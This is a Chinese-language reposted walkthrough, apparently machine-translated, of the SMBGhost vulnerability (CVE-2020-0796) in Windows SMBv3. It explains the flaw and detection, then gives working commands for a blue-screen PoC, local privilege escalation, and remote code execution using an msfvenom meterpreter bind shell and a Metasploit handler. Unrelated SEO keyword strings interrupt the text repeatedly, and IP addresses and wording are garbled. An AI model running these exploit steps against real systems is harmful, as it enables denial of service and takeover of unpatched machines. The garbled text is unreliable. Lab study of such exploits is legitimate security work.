最新版:CVE-2020-0796 SMBv3 RCE漏洞检测+复制

电脑杂谈  发布时间:2020-09-08 15:17:43  来源:网络整理

电脑管家检测的漏洞_电脑管家漏洞修复_手机管家虫洞漏洞检测

CVE-2020-0796 SMBv3 RCE漏洞检测+周期性漏洞简介

2020年3月10日,Microsoft在其官方SRC上发布了CVE-2020-0796安全公告(ADV200005,Microsoft禁用SMBv3压缩指南),其中指出Windows SMBv3的客户端和服务器上都有远程代码。版本执行漏洞。它还指出,该漏洞存在于MicroSoft Server消息块3. 1. 1协议的功能中,用于处理特定的请求数据包。这是由恶意伪造和压缩数据包中的错误引起的,该错误导致SMB服务器的缓冲区溢出。此漏洞可用于在目标SMB服务器或客户端中执行任意代码。

概述

以SMB 3. 1. 1协议处理压缩消息时,不检查数据的安全性。直接使用将导致内存损坏漏洞,攻击者可能会利用这些漏洞远程执行任意代码。攻击者可以利用此漏洞在未经许可的情况下实现远程代码执行,并且仅通过打开系统并使其联机就可以入侵被黑客攻击的目标系统。

原理

该漏洞存在于srv 2. sys驱动程序中。由于SMB无法正确处理压缩的数据包,因此在对数据包进行解压缩时,将调用函数Srv2DecompressData来处理压缩的数据,并且将压缩的数据标头使用originalCompressedSegmentSize等压缩。不检查Offset的偏移量是否合法否,导致其分配了较小的内存。稍后调用SmbCompressionDecompress进行数据处理时,使用此较小的内存可能会导致复制溢出或越界访问,而在执行本地程序时,可以通过获取当前本地程序的令牌+ 0x40的偏移地址来获得,通过将压缩的数据发送到SMB服务器,然后将偏移地址保存到内核内存中(在对数据进行解压缩时将其复制),并通过精心构建的内存布局在内核中进行修改。令牌提高了权限。

影响范围

该漏洞不影响win7。该漏洞影响1903年以后的所有32位和64位版本的Windows,包括家庭版,版,企业版和教育版。

Windows 10版本1903(用于32位)

适用于x64的Windows 10版本1903

适用于arm64的Windows 10版本1903

Windows 10版本1909(用于32位)

手机管家虫洞漏洞检测_电脑管家漏洞修复_电脑管家检测的漏洞

适用于x64的Windows 10版本1909

适用于arm64的Windows 10版本1909

用于服务器核心安装的Windows Server 10版本1903

用于服务器核心安装的Windows Server 10版本1909

环境准备环境设置

攻击机器:Kali Linux

IP:19 2. 16 8. 21 9. 135

可以ping win10虚拟机

目标计算机:Windows 10虚拟机1909 x64(版)

IP:19 2. 16 8. 21 9. 142

关闭防火墙和防御程序

可以使用1903或1909版本,我在这里使用的是1909版本

手机管家虫洞漏洞检测_电脑管家漏洞修复_电脑管家检测的漏洞

主机:Windows 7

环境要求

首先确认系统版本符合要求

使用systeminfo确定主机是否已修补KB4551762

关闭防火墙和防御程序

漏洞检测git脚本检测

在返回的数据包中检测SMB压缩版本。修补后,这种检测方法仍然会引起误报。

PS:该脚本适用于python3,并且主机中只有python2。您可以稍作修改。

启新南检测工具

适用于局域网批处理检测,以快速查找未打补丁的计算机。

腾讯计算机管理器SMB漏洞修复工具

适用于单个用户检测,一键式快速检测和修复。

电脑管家检测的漏洞_手机管家虫洞漏洞检测_电脑管家漏洞修复

蓝屏漏洞利用演示

蓝屏攻击POC:

git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
python3 setup.py install
python3 CVE-2020-0796.py 192.168.219.142

安装脚本和相关库

成功安装从属库后,执行蓝屏攻击脚本

攻击成功的结果如下

特权提升演示

本地特权升级POC:

文件编译的结果是有两个执行文件,一个是动态文件,一个是静态文件。动态文件需要与相关的dll文件一起安装。我们直接执行静态特权升级程序,并成功弹出一个更高的系统特权命令执行窗口

REC演示

远程使用POC:

Kali下载POC

手机管家虫洞漏洞检测_电脑管家漏洞修复_电脑管家检测的漏洞

root@kali:~/cve# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC
root@kali:~/cve# cd SMBGhost_RCE_PoC
root@kali:~/cve/SMBGhost_RCE_PoC# ls

PS:此POC需要在python3环境中执行

使用msfvenom生成有效负载并生成TXT文件以供以后修改

root@kali:~/cve/SMBGhost_RCE_PoC# msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o 1.txt

将1. txt生成的代码中的参数buf更改为USER_PAYLOAD,然后将其替换为exploit.py中的USER_PAYLOAD参数。 (不要颠倒顺序,否则执行将失败,因为如果在py的全文中替换buf,则会不小心替换代码中的所有buf)

别忘了将字符串前面的二进制格式更改为b“”或脚本执行错误

创建一个新终端并启动msf监视本地端口

root@kali:~# msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > set rhost 192.168.219.142
rhost => 192.168.219.142
msf5 exploit(multi/handler) > exploit

运行exploit.py

python3 exploit.py -ip 19 2. 16 8. 21 9. 142

一开始没有任何反应,我尝试了几次,最后成功地反弹了外壳(当您尝试几次时,互联网上的其他大佬们说蓝屏很容易,没有遇到蓝屏,刚执行完前几次就没有响应,然后发现win10卡住了,ping失败,只是重新启动目标机器)

参考

CVE-2020-0796检测和利用工具


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/shouji/article-316577-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...